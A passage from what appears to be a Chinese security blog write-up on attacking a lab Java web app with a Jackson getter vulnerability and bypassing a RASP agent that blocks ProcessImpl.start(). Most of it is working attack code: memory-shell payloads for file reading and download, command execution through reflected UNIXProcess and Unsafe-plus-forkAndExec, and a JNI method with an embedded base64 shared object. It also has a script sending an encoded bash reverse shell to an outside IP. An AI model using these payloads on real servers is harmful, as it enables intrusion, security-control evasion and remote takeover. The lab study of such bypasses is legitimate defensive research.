环境搭建
环境的 docker
放到了 https://github.com/justdoit-cai/javaAgent-learn/tree/main/rasp-demo-2.0(with%20executable%20jar%20and%20docker)
中。
该环境是 jackson
的任意调用 getter
方法漏洞,并且 rasp
ban
了 java.lang.ProcessImpl.start()
,并且我们无法调用 Runtime.exec()
,因为这个方法底层调的也是 ProcessImpl.start()
。
思路分析
具有漏洞的环境首先是想反弹 shell
,如果不出网就想打入内存马。我们直接开始尝试打入内存马。这里想直接反弹 shell
也不行,因为上面说了这里靶场具有 RASP
保护, ban
了命令执行(可能有其它命令执行的方法可以绕过,但是我也不知道有没有,应该是没有的,即使有大概率 RASP
也会继续 ban
)。
打入内存马的 exp
也放到了上面的 github
中。我们这里直接尝试打入内存马。
发现打入成功了,但是命令没有回显。我们查看靶场的日志信息,发现果然是因为 RASP
的问题。
但是作为入侵者的我们只知道命令没有执行成功,不知道为什么。我们需要想办法探测原因。我们首先可以猜测后端可能禁止了命令执行相关的方法,于是我们这里可以尝试在注入内存马的时候不执行命令,而是读文件。修改后的读文件内存马 exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.PrintWriter printWriter = response.getWriter(); printWriter.write("memshell inject success"); String urlContent = ""; final URL url = new URL(request.getParameter("read")); final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream())); String inputLine = ""; while ((inputLine = in.readLine()) != null) { urlContent = urlContent + inputLine + "\n"; } in.close(); printWriter.println(urlContent); }
|
发现可以成功读取文件,说明内存马没问题。
接着我们在 /app
目录下发现了 myRasp.jar
,于是就发现了这里是存在 RASP
的。
于是我们可以想办法把 myRasp.jar
下下来分析。这里直接在 response
中返回指定的文件流就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception { String filename = request.getParameter("file"); response.setHeader("Content-Disposition",String.format("attachment; filename=%s", filename)); InputStream inputStream = Files.newInputStream(Paths.get(filename)); OutputStream outputStream = response.getOutputStream(); byte[] buffer = new byte[1024]; int length; while ((length = inputStream.read(buffer)) != -1) { outputStream.write(buffer, 0, length); }
outputStream.close(); inputStream.close(); }
|
成功读取!
接着我们分析这个 jar
包,发现其核心就是过滤了 processImpl.start()
方法的调用。这里我们可以采用下面的方式绕过。
绕过一:使用被ban方法的更底层方法
这里 RASP
只过滤了 processImpl.start()
,我们查看这个方法的实现可以发现更底层的调用。
UNIXProcess
和 ProcessImpl
可以理解本就是一个东西,在 JDK9
的时候把 UNIXProcess
合并到了ProcessImpl
。UNIXProcess.forAndExec()
最终调用的是系统级别的 api
fork()
-> exec()
。
由于可以知道当前靶场的环境是 jdk8
+ Linux
,因此我们试着通过 UNIXProcess
来 RCE
。
方式一:new UNIXProcesss()
通过分析 ProcessImpl
在 start
方法里面传入 new UNIXProcess(xxx)
参数的逻辑,我们可以得到这里的 toCString(cmdarray[0])
是 cmd
第一位的字节数组最后拼接 \0
;关键是这里的 argBlock
, argBlock
是 cmd
后面的所有位的字节数组通过 \0
拼接起来,末尾最后也要加 \0
;args.length
为 cmd.length - 1
;std_fds
为 [-1,-1,-1]
即可。其余参数要么为 null
要么为 0
即可。
举个例子,对于命令 cmd = ['bash', '-c', '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTYzLjEzMy8xMDAwMSAwPiYx}|{base64,-d}|{bash,-i}']
。
其中 argBlock
为 -c
的字节数组加上 \0
,再加上 {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTYzLjEzMy8xMDAwMSAwPiYx}|{base64,-d}|{bash,-i}
的字节数组,再加上 \0
。
最后的 poc
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception { String[] cmds = request.getParameterValues("cmd"); Class clazz = Class.forName("java.lang.UNIXProcess"); Constructor constructor = clazz.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); constructor.setAccessible(true); ServletOutputStream os = response.getOutputStream(); int length = 0; byte[] argBlock = new byte[length]; for (int i = 1; i < cmds.length; i++) { byte[] cString = toCString(cmds[i]); byte[] tmp = new byte[length + cString.length]; System.arraycopy(argBlock, 0, tmp, 0, length); System.arraycopy(cString, 0, tmp, length, cString.length); argBlock = tmp; length += cString.length; } Process process = (Process) constructor.newInstance(toCString(cmds[0]), argBlock, cmds.length - 1, null, 0, null, new int[]{-1, -1, -1}, false); InputStream ins = process.getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = ins.read(buffer)) != -1) { System.out.println(len); os.write(buffer, 0, len); } os.close(); ins.close(); }
public byte[] toCString(String source) { byte[] src = source.getBytes(); byte[] result = new byte[src.length + 1]; System.arraycopy(src, 0, result, 0, src.length); result[result.length - 1] = (byte) 0; return result; }
|
上传内存马后,我们就可以用下面的 exp
来反弹 shell
或者执行其它命令。
1 2 3 4 5 6 7
| import requests url = 'http://192.168.163.129:8080/backdoor' data = { 'cmd': ['bash', '-c', '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTYzLjEzMy8xMDAwMSAwPiYx}|{base64,-d}|{bash,-i}'] } print(requests.post(url=url, data=data).text)
|
方式二:forkAndExec+Unsafe
如果 RASP
禁止了调用 UNIXProcess
的构造方法又怎么办?
其实我们可以利用 Java
的几个特性就可以绕过 RASP
执行本地命令了,具体步骤如下:
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需 new
或者 newInstance
创建UNIXProcess/ProcessImpl
类对象。
- 反射
UNIXProcess/ProcessImpl
类的 forkAndExec
方法。
- 构造
forkAndExec
需要的参数并调用。
- 反射
UNIXProcess/ProcessImpl
类的 initStreams
方法初始化输入输出结果流对象。
- 反射
UNIXProcess/ProcessImpl
类的 getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
这里需要注意的是 forkAndExec
需要知道 launchMechanism.ordinal()
和 helperpath
,但是还好 launchMechanism
和 helperpath
都是静态属性,我们可以在得到 UNIXProcess
的对象后直接获取就可以了,不用再麻烦考虑这两个属性是怎么赋值的,因为获取到类对象的时候 static
变量就已经赋值了。
但是光调用了 forkAndExec
方法只能返回命令的 pid
,无法返回命令执行的结果。所以我们还需要审计看如何可以获取命令执行的输出流。
我们可以知道 UNIXProcess
的构造方法在调用了 forkAndExec
方法之后就只调用了 initStreams
方法,然后就可以通过 getInputStream
获取返回的命令执行结果。所以我们也可以照着做,先通过反射调用 initStreams
方法,然后通过反射调用 getInputStream
方法。就可以获取命令执行的结果了,
下面是代码实现和执行结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| package com.just;
import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Constructor; import sun.misc.Unsafe; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; import java.util.Arrays; public class Demo { public static byte[] toCString(String source) { byte[] src = source.getBytes(); byte[] result = new byte[src.length + 1]; System.arraycopy(src, 0, result, 0, src.length); result[result.length - 1] = (byte) 0; return result; }
public static void main(String[] args) throws Exception { String[] cmds = new String[] {"ls"};
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Constructor<?> unsafeConstructor = unsafeClass.getDeclaredConstructor(); unsafeConstructor.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeConstructor.newInstance();
Class<?> unixProcessClass = Class.forName("java.lang.UNIXProcess"); Object unixProcessObject = unsafe.allocateInstance(unixProcessClass);
Field launchMechanismField = unixProcessClass.getDeclaredField("launchMechanism"); Field helperpathField = unixProcessClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(unixProcessObject); int ordinal = (int) launchMechanismObject.getClass().getSuperclass().getDeclaredMethod("ordinal").invoke(launchMechanismObject); byte[] helperpath = (byte[]) helperpathField.get(unixProcessObject);
System.out.println("ordinal = " + ordinal); System.out.println("helperpath = " + Arrays.toString(helperpath));
int length = 0; byte[] argBlock = new byte[length]; for (int i = 1; i < cmds.length; i++) { byte[] cString = toCString(cmds[i]); byte[] tmp = new byte[length + cString.length]; System.arraycopy(argBlock, 0, tmp, 0, length); System.arraycopy(cString, 0, tmp, length, cString.length); argBlock = tmp; length += cString.length; }
int[] std_fds = new int[] {-1,-1,-1};
Method forkAndExec = unixProcessClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkAndExec.setAccessible(true); System.out.println(unixProcessObject); int pid = (int) forkAndExec.invoke(unixProcessObject, ordinal + 1, helperpath, toCString(cmds[0]), argBlock, cmds.length - 1, null, 0, null, std_fds, false); System.out.println("pid = " + pid);
Method initStreamsMethod = unixProcessClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(unixProcessObject, std_fds);
Method getInputStreamMethod = unixProcessClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); InputStream ins = (InputStream) getInputStreamMethod.invoke(unixProcessObject);
System.out.println(ins); BufferedReader br = new BufferedReader(new InputStreamReader(ins, StandardCharsets.UTF_8)); String s; StringBuilder sb = new StringBuilder(); while ((s = br.readLine()) != null) { System.out.println(s); sb.append(s); } } }
|
接着我们把上面的代码融入内存马,最后的 exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception { String[] cmds = request.getParameterValues("cmd");
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Constructor<?> unsafeConstructor = unsafeClass.getDeclaredConstructor(); unsafeConstructor.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeConstructor.newInstance();
Class<?> unixProcessClass = Class.forName("java.lang.UNIXProcess"); Object unixProcessObject = unsafe.allocateInstance(unixProcessClass);
Field launchMechanismField = unixProcessClass.getDeclaredField("launchMechanism"); Field helperpathField = unixProcessClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(unixProcessObject); int ordinal = (int) launchMechanismObject.getClass().getSuperclass().getDeclaredMethod("ordinal").invoke(launchMechanismObject); byte[] helperpath = (byte[]) helperpathField.get(unixProcessObject);
System.out.println("ordinal = " + ordinal); System.out.println("helperpath = " + Arrays.toString(helperpath));
int length = 0; byte[] argBlock = new byte[length]; for (int i = 1; i < cmds.length; i++) { byte[] cString = toCString(cmds[i]); byte[] tmp = new byte[length + cString.length]; System.arraycopy(argBlock, 0, tmp, 0, length); System.arraycopy(cString, 0, tmp, length, cString.length); argBlock = tmp; length += cString.length; }
int[] std_fds = new int[] {-1,-1,-1};
Method forkAndExec = unixProcessClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkAndExec.setAccessible(true); System.out.println(unixProcessObject); int pid = (int) forkAndExec.invoke(unixProcessObject, ordinal + 1, helperpath, toCString(cmds[0]), argBlock, cmds.length - 1, null, 0, null, std_fds, false); System.out.println("pid = " + pid);
Method initStreamsMethod = unixProcessClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(unixProcessObject, std_fds);
Method getInputStreamMethod = unixProcessClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); InputStream ins = (InputStream) getInputStreamMethod.invoke(unixProcessObject);
System.out.println(ins);
ServletOutputStream os = response.getOutputStream(); int len; byte[] buffer = new byte[1024]; while ((len = ins.read(buffer)) != -1) { os.write(buffer, 0, len); }
os.close(); ins.close(); }
public byte[] toCString(String source) { byte[] src = source.getBytes(); byte[] result = new byte[src.length + 1]; System.arraycopy(src, 0, result, 0, src.length); result[result.length - 1] = (byte) 0; return result; }
|
绕过二:使用java加载动态链接库RCE(JNI命令执行)
Java
可以通过 JNI
的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。然后写一个类上传这个恶意动态链接库并且执行命令。然后我们可以通过 defineClass
加载这个恶意类,调用其中的方法。
参考 JNI安全 。
步骤:
- 编写恶意的
JNI
动态共享库 so
文件。
- 在恶意类中加载这个
so
文件,并且提供接口调用,然后通过 javassist
获取这个恶意类的字节码。
注意 COMMAND_CLASS_BYTE_ENCODE
要注意平台的兼容问题,需要提前探测出来靶机的环境。不同环境编译出来的 so
文件和字节码文件不一定兼容。
还有需要注意的是高版本 JDKsun.misc.BASE64Decoder
已经被移除,低版本 JDK
又没有 java.util.Base64
对象。所以我们需要根据靶机的 jdk
版本来确定使用哪个类来进行 base64
编解码。这里最好的方式是通过反射来判断当前靶机环境有哪些类。有哪个类就使用哪个类。
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package com.just;
import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.util.Base64;
public class MyCommand { public static final String s = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4BEAAAAAAABAAAAAAAAAACA9AAAAAAAAAAAAAEAAOAALAEAAHwAeAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmAoAAAAAAACYCgAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAD1BAAAAAAAAPUEAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAJ8BAAAAAAAAnwEAAAAAAAAAEAAAAAAAAAEAAAAGAAAA4C0AAAAAAADgPQAAAAAAAOA9AAAAAAAAsAIAAAAAAAC4AgAAAAAAAAAQAAAAAAAAAgAAAAYAAAD4LQAAAAAAAPg9AAAAAAAA+D0AAAAAAADgAQAAAAAAAOABAAAAAAAACAAAAAAAAAAEAAAABAAAAKgCAAAAAAAAqAIAAAAAAACoAgAAAAAAACAAAAAAAAAAIAAAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAIAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAU+V0ZAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAACAAAAAAAAAACAAAAAAAAABQ5XRkBAAAAAQgAAAAAAAABCAAAAAAAAAEIAAAAAAAAEwAAAAAAAAATAAAAAAAAAAEAAAAAAAAAFHldGQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0ZAQAAADgLQAAAAAAAOA9AAAAAAAA4D0AAAAAAAAgAgAAAAAAACACAAAAAAAAAQAAAAAAAAAEAAAAEAAAAAUAAABHTlUAAgAAwAQAAAADAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQDEYZNRzFXakPS2+1vITkOH11WdOAAAAAADAAAAEgAAAAEAAAAGAAAABAAAABBABQQSAAAAAAAAAAAAAACwTj2Kgtt0tDPZfbIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8AAAAEgAAAAAAAAAAAAAAAAAAAAAAAABFAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABGAAAAIgAAAAAAAAAAAAAAAAAAAAAAAACEAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAjAgAAEgAAAAAAAAAAAAAAAAAAAAAAAAACAQAAEgAAAAAAAAAAAAAAAAAAAAAAAADNAQAAEgAAAAAAAAAAAAAAAAAAAAAAAADCAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA+AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADzAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD8AAAAEgAAAAAAAAAAAAAAAAAAAAAAAADeAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAC+AQAAEgAAAAAAAAAAAAAAAAAAAAAAAAABAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAALAgAAEgAAAAAAAAAAAAAAAAAAAAAAAABzAAAAIgAOAKgUAAAAAAAAPQAAAAAAAABVAAAAIgAOAHQUAAAAAAAANAAAAAAAAACfAAAAEgAOAJkSAAAAAAAAdAEAAAAAAAAAX19nbW9uX3N0YXJ0X18AX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAX1pON0pOSUVudl8xMk5ld1N0cmluZ1VURkVQS2MAX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABKYXZhX2NvbV9qdXN0X015Q29tbWFuZF9leGVjAHBvcGVuAF9aTlN0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFQzFFdgBmZ2V0cwBfWk5TdDdfX2N4eDExMTJiYXNpY19zdHJpbmdJY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRXBMRVBLYwBwY2xvc2UAX1pOS1N0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFNWNfc3RyRXYAX1pOU3Q3X19jeHgxMTEyYmFzaWNfc3RyaW5nSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVEMUV2AF9VbndpbmRfUmVzdW1lAF9fc3RhY2tfY2hrX2ZhaWwAX19neHhfcGVyc29uYWxpdHlfdjAAX1pOU3Q4aW9zX2Jhc2U0SW5pdEMxRXYAX1pOU3Q4aW9zX2Jhc2U0SW5pdEQxRXYAX19jeGFfYXRleGl0AGxpYnN0ZGMrKy5zby42AGxpYmdjY19zLnNvLjEAbGliYy5zby42AEdDQ18zLjAAQ1hYQUJJXzEuMwBHTElCQ1hYXzMuNABHTElCQ1hYXzMuNC4yMQBHTElCQ18yLjQAR0xJQkNfMi4yLjUAAAAAAgADAAIAAwACAAMABAADAAIABQACAAYAAAAHAAAAAAAFAAEAAQABAAAAAQABAD8CAAAQAAAAIAAAAFAmeQsAAAcAVwIAAAAAAAABAAMAMAIAABAAAABAAAAA069rBQAABgBfAgAAEAAAAHQpkggAAAUAagIAABAAAABx+JcCAAADAHYCAAAAAAAAAQACAE0CAAAQAAAAAAAAABRpaQ0AAAQAhQIAABAAAAB1GmkJAAACAI8CAAAAAAAA4D0AAAAAAAAIAAAAAAAAAJASAAAAAAAA6D0AAAAAAAAIAAAAAAAAAFoUAAAAAAAA8D0AAAAAAAAIAAAAAAAAAFASAAAAAAAAgEAAAAAAAAAIAAAAAAAAAIBAAAAAAAAA2D8AAAAAAAAGAAAAAwAAAAAAAAAAAAAA4D8AAAAAAAAGAAAADQAAAAAAAAAAAAAA6D8AAAAAAAAGAAAADwAAAAAAAAAAAAAA8D8AAAAAAAAGAAAAEAAAAAAAAAAAAAAA+D8AAAAAAAAGAAAAEQAAAAAAAAAAAAAAiEAAAAAAAAABAAAADAAAAAAAAAAAAAAAGEAAAAAAAAAHAAAAAQAAAAAAAAAAAAAAIEAAAAAAAAAHAAAAAgAAAAAAAAAAAAAAKEAAAAAAAAAHAAAABAAAAAAAAAAAAAAAMEAAAAAAAAAHAAAAEgAAAAAAAAAAAAAAOEAAAAAAAAAHAAAABQAAAAAAAAAAAAAAQEAAAAAAAAAHAAAABgAAAAAAAAAAAAAASEAAAAAAAAAHAAAABwAAAAAAAAAAAAAAUEAAAAAAAAAHAAAACAAAAAAAAAAAAAAAWEAAAAAAAAAHAAAACQAAAAAAAAAAAAAAYEAAAAAAAAAHAAAACgAAAAAAAAAAAAAAaEAAAAAAAAAHAAAACwAAAAAAAAAAAAAAcEAAAAAAAAAHAAAADgAAAAAAAAAAAAAAeEAAAAAAAAAHAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+mgCAAAA8unB////kPMPHvpoAwAAAPLpsf///5DzDx76aAQAAADy6aH///+Q8w8e+mgFAAAA8umR////kPMPHvpoBgAAAPLpgf///5DzDx76aAcAAADy6XH///+Q8w8e+mgIAAAA8ulh////kPMPHvpoCQAAAPLpUf///5DzDx76aAoAAADy6UH///+Q8w8e+mgLAAAA8ukx////kPMPHvpoDAAAAPLpIf///5DzDx768v8lzS4AAA8fRAAA8w8e+vL/Jf0uAAAPH0QAAPMPHvry/yX1LgAADx9EAADzDx768v8l7S4AAA8fRAAA8w8e+vL/JeUuAAAPH0QAAPMPHvry/yXdLgAADx9EAADzDx768v8l1S4AAA8fRAAA8w8e+vL/Jc0uAAAPH0QAAPMPHvry/yXFLgAADx9EAADzDx768v8lvS4AAA8fRAAA8w8e+vL/JbUuAAAPH0QAAPMPHvry/yWtLgAADx9EAADzDx768v8lpS4AAA8fRAAA8w8e+vL/JZ0uAAAPH0QAAEiNPakuAABIjQWiLgAASDn4dBVIiwXmLQAASIXAdAn/4A8fgAAAAADDDx+AAAAAAEiNPXkuAABIjTVyLgAASCn+SInwSMHuP0jB+ANIAcZI0f50FEiLBbUtAABIhcB0CP/gZg8fRAAAww8fgAAAAADzDx76gD01LgAAAHUrVUiDPXItAAAASInldAxIiz0OLgAA6In+///oZP///8YFDS4AAAFdww8fAMMPH4AAAAAA8w8e+ul3////8w8e+lVIieVTSIHs+AAAAEiJvRj///9IibUQ////SImVCP///2RIiwQlKAAAAEiJRegxwEiDvQj///8AD4TpAAAASI2VL////0iLjQj///9Ii4UY////SInOSInH6EX+//9IiYUw////SIuFMP///0iNNfEMAABIicfo+P3//0iJhTj///9Ig704////AA+ElwAAAEiNhUD///9IicfoRP7//0iLlTj///9IjYVg////voAAAABIicfoWf7//0iFwA+VwITAdBtIjZVg////SI2FQP///0iJ1kiJx+jm/f//68BIi4U4////SInH6AX+//9IjYVA////SInH6Ib9//9IicJIi4UY////SInWSInH6CH+//9IicOQSI2FQP///0iJx+hu/f//6wW7AAAAAEiJ2EiLTehkSDMMJSgAAAB0KOsh8w8e+kiJw0iNhUD///9IicfoPf3//0iJ2EiJx+jC/f//6G39//9IgcT4AAAAW13D8w8e+lVIieVIg+wQiX38iXX4g338AXUygX34//8AAHUpSI09XCwAAOhm/f//SI0VPywAAEiNNUksAABIiwWpKwAASInH6Pn8//+QycPzDx76VUiJ5b7//wAAvwEAAADonP///13DkPMPHvpVSInlSIPsEEiJffhIiXXwSItF+EiLAEiLiDgFAABIi1XwSItF+EiJ1kiJx//RycPzDx76VUiJ5UiD7CBIiX34SIl18EiJVehIi0X4SIsATIuASAUAAEiLVehIi03wSItF+EiJzkiJx0H/0MnDAAAA8w8e+kiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA